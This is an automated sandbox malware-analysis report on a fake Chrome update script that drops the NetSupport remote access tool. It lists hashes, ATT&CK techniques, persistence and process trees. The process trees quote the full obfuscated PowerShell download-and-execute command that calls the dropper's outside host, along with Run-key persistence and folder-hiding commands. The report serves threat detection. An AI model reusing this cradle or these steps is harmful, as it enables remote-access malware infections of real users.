netsupport | e4017e74506ff5a941084b33374ab43a1abb231385c643d83e4dff2bfa1b8b57

Analysis

max time kernel
437s
max time network
440s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-10-2024 16:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ChromeUpdate_130.0.6723.js
Size

79KB
MD5

4b0f51e544587d445b555d456fb4b4a3
SHA1

3485771d900dc9966bf3af61eb4dcc8ccbba8c3f
SHA256

9d81f9c0cc790f6516f7866f897d41a61bcc8a4d609f64db71c7978c144d89e9
SHA512

12ab55347c3d8b258e1dfb555f98c2eb83daf81e1e9ec214b0ed540c76f60a37681269ce304dd527d7cbbda3c1ed387c7159a69c744c149cdfdab77efd78666e
SSDEEP

768:wOeOeOOO4NJNI+cXecXIYxda6GbcX2oj/xvDcX2mlooVslo4LTcXGUcXK:Hj/o

Score

10^/10

netsupport defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://traversecityspringbreak.com/o/o.png

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

flow	pid	Process
7	2556	powershell.exe
80	2264	powershell.exe
82	2328	powershell.exe
84	1656	powershell.exe
86	1932	powershell.exe
88	624	powershell.exe
95	4596	powershell.exe
97	4420	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

CScript.exeWScript.exeWScript.exeWScript.exeCScript.exeWScript.exewscript.exeWScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	CScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	CScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 11 IoCs

Processes:

client32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.exe

pid	Process
1244	client32.exe
1100	client32.exe
2664	client32.exe
1880	client32.exe
2264	client32.exe
1100	client32.exe
4612	client32.exe
1312	client32.exe
4968	client32.exe
4248	client32.exe
2004	client32.exe

Loads dropped DLL 49 IoCs

Processes:

client32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.exe

pid	Process
1244	client32.exe
1244	client32.exe
1244	client32.exe
1244	client32.exe
1244	client32.exe
1244	client32.exe
1100	client32.exe
1100	client32.exe
1100	client32.exe
1100	client32.exe
2664	client32.exe
2664	client32.exe
2664	client32.exe
2664	client32.exe
1880	client32.exe
1880	client32.exe
1880	client32.exe
1880	client32.exe
2264	client32.exe
2264	client32.exe
2264	client32.exe
2264	client32.exe
2264	client32.exe
1100	client32.exe
1100	client32.exe
1100	client32.exe
1100	client32.exe
1100	client32.exe
4612	client32.exe
4612	client32.exe
4612	client32.exe
4612	client32.exe
1312	client32.exe
1312	client32.exe
1312	client32.exe
1312	client32.exe
1312	client32.exe
4968	client32.exe
4968	client32.exe
4968	client32.exe
4968	client32.exe
4248	client32.exe
4248	client32.exe
4248	client32.exe
4248	client32.exe
2004	client32.exe
2004	client32.exe
2004	client32.exe
2004	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\ihEStD\\client32.exe"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
624	powershell.exe
4596	powershell.exe
4420	powershell.exe
2556	powershell.exe
2264	powershell.exe
2328	powershell.exe
1656	powershell.exe
1932	powershell.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 8 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Processes:

cmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

pid	Process
720	cmd.exe
1844	cmd.exe
3608	cmd.exe
1560	cmd.exe
2968	cmd.exe
2268	cmd.exe
4716	cmd.exe
4404	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

client32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.execlient32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe

Gathers network information 2 TTPs 8 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

Processes:

ipconfig.exeipconfig.exeipconfig.exeipconfig.exeipconfig.exeipconfig.exeipconfig.exeipconfig.exe

pid	Process
1856	ipconfig.exe
4068	ipconfig.exe
872	ipconfig.exe
2648	ipconfig.exe
1344	ipconfig.exe
2500	ipconfig.exe
4776	ipconfig.exe
2748	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2556	powershell.exe
2556	powershell.exe
2264	powershell.exe
2264	powershell.exe
2328	powershell.exe
2328	powershell.exe
1656	powershell.exe
1656	powershell.exe
1932	powershell.exe
1932	powershell.exe
1932	powershell.exe
624	powershell.exe
624	powershell.exe
624	powershell.exe
4596	powershell.exe
4596	powershell.exe
4420	powershell.exe
4420	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.execlient32.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeSecurityPrivilege	1244	client32.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	624	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

client32.exe

pid	Process
1244	client32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

wscript.exepowershell.execmd.exeWScript.exepowershell.execmd.exeCScript.exepowershell.execmd.exeWScript.exepowershell.execmd.exeWScript.exepowershell.execmd.exeWScript.exepowershell.execmd.exe

description	pid	Process	procid_target
PID 3476 wrote to memory of 2556	3476	wscript.exe	84
PID 3476 wrote to memory of 2556	3476	wscript.exe	84
PID 2556 wrote to memory of 1856	2556	powershell.exe	87
PID 2556 wrote to memory of 1856	2556	powershell.exe	87
PID 2556 wrote to memory of 2968	2556	powershell.exe	88
PID 2556 wrote to memory of 2968	2556	powershell.exe	88
PID 2968 wrote to memory of 3784	2968	cmd.exe	89
PID 2968 wrote to memory of 3784	2968	cmd.exe	89
PID 2556 wrote to memory of 1244	2556	powershell.exe	103
PID 2556 wrote to memory of 1244	2556	powershell.exe	103
PID 2556 wrote to memory of 1244	2556	powershell.exe	103
PID 1772 wrote to memory of 2264	1772	WScript.exe	122
PID 1772 wrote to memory of 2264	1772	WScript.exe	122
PID 2264 wrote to memory of 4068	2264	powershell.exe	125
PID 2264 wrote to memory of 4068	2264	powershell.exe	125
PID 2264 wrote to memory of 2268	2264	powershell.exe	126
PID 2264 wrote to memory of 2268	2264	powershell.exe	126
PID 2268 wrote to memory of 3416	2268	cmd.exe	127
PID 2268 wrote to memory of 3416	2268	cmd.exe	127
PID 2004 wrote to memory of 2328	2004	CScript.exe	130
PID 2004 wrote to memory of 2328	2004	CScript.exe	130
PID 2328 wrote to memory of 872	2328	powershell.exe	133
PID 2328 wrote to memory of 872	2328	powershell.exe	133
PID 2328 wrote to memory of 4716	2328	powershell.exe	134
PID 2328 wrote to memory of 4716	2328	powershell.exe	134
PID 4716 wrote to memory of 3404	4716	cmd.exe	135
PID 4716 wrote to memory of 3404	4716	cmd.exe	135
PID 3640 wrote to memory of 1656	3640	WScript.exe	137
PID 3640 wrote to memory of 1656	3640	WScript.exe	137
PID 1656 wrote to memory of 2648	1656	powershell.exe	140
PID 1656 wrote to memory of 2648	1656	powershell.exe	140
PID 1656 wrote to memory of 4404	1656	powershell.exe	141
PID 1656 wrote to memory of 4404	1656	powershell.exe	141
PID 4404 wrote to memory of 644	4404	cmd.exe	142
PID 4404 wrote to memory of 644	4404	cmd.exe	142
PID 3756 wrote to memory of 1932	3756	WScript.exe	144
PID 3756 wrote to memory of 1932	3756	WScript.exe	144
PID 1932 wrote to memory of 1344	1932	powershell.exe	147
PID 1932 wrote to memory of 1344	1932	powershell.exe	147
PID 1932 wrote to memory of 720	1932	powershell.exe	148
PID 1932 wrote to memory of 720	1932	powershell.exe	148
PID 720 wrote to memory of 668	720	cmd.exe	149
PID 720 wrote to memory of 668	720	cmd.exe	149
PID 2264 wrote to memory of 1100	2264	powershell.exe	150
PID 2264 wrote to memory of 1100	2264	powershell.exe	150
PID 2264 wrote to memory of 1100	2264	powershell.exe	150
PID 2436 wrote to memory of 624	2436	WScript.exe	155
PID 2436 wrote to memory of 624	2436	WScript.exe	155
PID 624 wrote to memory of 2500	624	powershell.exe	157
PID 624 wrote to memory of 2500	624	powershell.exe	157
PID 624 wrote to memory of 1844	624	powershell.exe	158
PID 624 wrote to memory of 1844	624	powershell.exe	158
PID 1844 wrote to memory of 4748	1844	cmd.exe	159
PID 1844 wrote to memory of 4748	1844	cmd.exe	159
PID 1656 wrote to memory of 2664	1656	powershell.exe	161
PID 1656 wrote to memory of 2664	1656	powershell.exe	161
PID 1656 wrote to memory of 2664	1656	powershell.exe	161
PID 2328 wrote to memory of 1880	2328	powershell.exe	162
PID 2328 wrote to memory of 1880	2328	powershell.exe	162
PID 2328 wrote to memory of 1880	2328	powershell.exe	162
PID 1932 wrote to memory of 2264	1932	powershell.exe	163
PID 1932 wrote to memory of 2264	1932	powershell.exe	163
PID 1932 wrote to memory of 2264	1932	powershell.exe	163
PID 624 wrote to memory of 1100	624	powershell.exe	164

Views/modifies file attributes 1 TTPs 8 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid	Process
4748	attrib.exe
3260	attrib.exe
4556	attrib.exe
3784	attrib.exe
3416	attrib.exe
3404	attrib.exe
644	attrib.exe
668	attrib.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:1856
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\ihEStD
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\ihEStD
      4⤵
      Views/modifies file attributes
      PID:3784
- - C:\Users\Admin\AppData\Roaming\ihEStD\client32.exe
    "C:\Users\Admin\AppData\Roaming\ihEStD\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1244

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:4068
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\KitcCA
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\KitcCA
      4⤵
      Views/modifies file attributes
      PID:3416
- - C:\Users\Admin\AppData\Roaming\KitcCA\client32.exe
    "C:\Users\Admin\AppData\Roaming\KitcCA\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1100

C:\Windows\System32\CScript.exe
"C:\Windows\System32\CScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:872
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\MQtURi
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4716
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\MQtURi
      4⤵
      Views/modifies file attributes
      PID:3404
- - C:\Users\Admin\AppData\Roaming\MQtURi\client32.exe
    "C:\Users\Admin\AppData\Roaming\MQtURi\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1880

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:2648
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\DBWJPR
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\DBWJPR
      4⤵
      Views/modifies file attributes
      PID:644
- - C:\Users\Admin\AppData\Roaming\DBWJPR\client32.exe
    "C:\Users\Admin\AppData\Roaming\DBWJPR\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2664

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1932
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:1344
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\piQbeK
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:720
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\piQbeK
      4⤵
      Views/modifies file attributes
      PID:668
- - C:\Users\Admin\AppData\Roaming\piQbeK\client32.exe
    "C:\Users\Admin\AppData\Roaming\piQbeK\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2264

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:2500
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\ACyJkY
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\ACyJkY
      4⤵
      Views/modifies file attributes
      PID:4748
- - C:\Users\Admin\AppData\Roaming\ACyJkY\client32.exe
    "C:\Users\Admin\AppData\Roaming\ACyJkY\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1100

C:\Windows\System32\CScript.exe
"C:\Windows\System32\CScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js"
1⤵
- Checks computer location settings
PID:3420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4596
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:4776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\EYDWRH
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3608
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\EYDWRH
      4⤵
      Views/modifies file attributes
      PID:3260
- - C:\Users\Admin\AppData\Roaming\EYDWRH\client32.exe
    "C:\Users\Admin\AppData\Roaming\EYDWRH\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4612

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ChromeUpdate_130.0.6723.js"
1⤵
- Checks computer location settings
PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://traversecityspringbreak.com/o/o.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4420
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:2748
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Admin\AppData\Roaming\QVrLaG
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1560
  - - C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Roaming\QVrLaG
      4⤵
      Views/modifies file attributes
      PID:4556
- - C:\Users\Admin\AppData\Roaming\QVrLaG\client32.exe
    "C:\Users\Admin\AppData\Roaming\QVrLaG\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1312

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1080

C:\Users\Admin\AppData\Roaming\EYDWRH\client32.exe
"C:\Users\Admin\AppData\Roaming\EYDWRH\client32.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4968

C:\Users\Admin\AppData\Roaming\ACyJkY\client32.exe
"C:\Users\Admin\AppData\Roaming\ACyJkY\client32.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4248

C:\Users\Admin\AppData\Roaming\ACyJkY\client32.exe
"C:\Users\Admin\AppData\Roaming\ACyJkY\client32.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e4287a011b4d36eb52274f5bee83a452

SHA1
e2274a88d8864d8fe734c2c0bdd5b5b005ca8ce9

SHA256
c76d5bec354e3c53717fac5ca62d1f75745cccfab0b279711fbeea8f04d989eb

SHA512
7d1b5b09023e5548d7aecdc0308fe38ca8a05fc0e5198d90a21779b88a3097fa7956b7d9de5f3865fe46b7bfe336edb52d0c3f2fe84ef7d4dad51543f1798c61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0d32e2e8960ad1cf70c1445f38a81d15

SHA1
9fcd4b39a83cb22f80a54eb1ec4564ab35bdbb23

SHA256
49b95c28e1a08ad2e7526647f8b5c4f045a6eea2bbca410758433eefd3574773

SHA512
32f33288d5b2d02cec67bfc26b6aa9e00389dc0a4fac1d7ca9ac6a679be1b17d0d160a5821cded51265553cabb19a33e3bccb47a6777058f0b34295275385133

Download Submit
